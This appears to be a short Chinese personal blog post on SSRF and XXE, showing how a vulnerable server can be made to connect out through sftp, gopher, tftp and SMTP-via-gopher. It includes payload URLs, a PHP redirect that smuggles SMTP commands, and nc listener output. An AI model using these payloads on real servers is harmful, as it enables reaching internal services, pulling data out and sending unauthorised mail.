Sh4dow's Blog

活了二十几年,从来没有人给过我一次意外感动或惊喜,也没有人在我生日的时候给过我特别的礼物,生病的时候得到的只是一些不在身边的语言安慰,也不见谁真正的照顾过自己,甚至有的时候自己蒙头睡一觉就好了,也有人喜欢过我,但是从没见谁坚持过。

SSRF利用不同协议传输

SSRF可行,同时XXE也同样的可以利用。这里只是一种思维方式。

0x01

SSH传输:(可用两个scp://, sftp://)

https://sh4d0w.lofter.com/url=sftp://sh4d0w.com:11111/

本地:

$ nc -v -l 11111

Connection from [xxx] port 11111 [tcp/*] accepted (family 2, sport 36136)SSH-2.0-libssh2_1.4.2

0x02

再XXE读取文件时,可能会遇到转行符。这样走传输协议http时,就会出现问题,当然可以用base64传输。有时,遇到java,就会比较尴尬。

这里就可以用GOPHER协议。

例子:

<?php        header('Location: gopher://sh4d0w.com:12346/_HI%0AMultiline%0Atest');?>


这里会收到 

nc -v -l 12346

Listening on [0.0.0.0] (family 0, port 12346)Connection from [xxx] port 12346 [tcp/*] accepted (family 2, sport 49398)

HI

Multiline

test


0x03

同样也可以走SMTP

------代码----

<?php

        $commands = array(

                'HELO test.org',

                'MAIL FROM: <sh4dow@foxmail.com>',

                'RCPT TO: <sh4dow@foxmail.com>',

                'DATA',

                'Test mail',

                '.'

        );


        $payload = implode('%0A', $commands);

        header('Location: gopher://test.smtp.org:25/_'.$payload);

?>


再次请求:

https://sh4d0w.lofter.com/url?url=https://sh4d0w.com/gopher2.php?rand=RAND



0x04   udp发包


可以用TFTP

https://sh4d0w.lofter.com/url?url=tftp://sh4d0w.com:12346/TESTUDPPACKET


nc -v -u -l 12346

Listening on [0.0.0.0] (family 0, port 12346)

TESTUDPPACKEToctettsize0blksize512timeout6



在传输大文件时,这种场景可能就要考虑超时的问题了,如果真的需要解决这个问题的话。可以使用FTP协议,不会超时。




DTD/XXE 一些使用方法。概括的比较全,实战篇


https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=402126750&idx=1&sn=8362b06670e7f117098310629ab6936d&scene=1&srcid=0306UfdqBFMhzuykegLzwBge&from=singlemessage&isappinstalled=0#wechat_redirect

 攻击分类如下:

  拒绝服务攻击(DDoS)

  基本的 XXE 攻击

  高级的 XXE 攻击

  服务器端请求伪造攻击(SSRF)

  XML 包含机制(XInclude)

  扩展样式表转换语言(XSLT)

  拒绝服务攻击(DDoS)





评论
热度 ( 3 )

© Sh4dow's Blog | Powered by LOFTER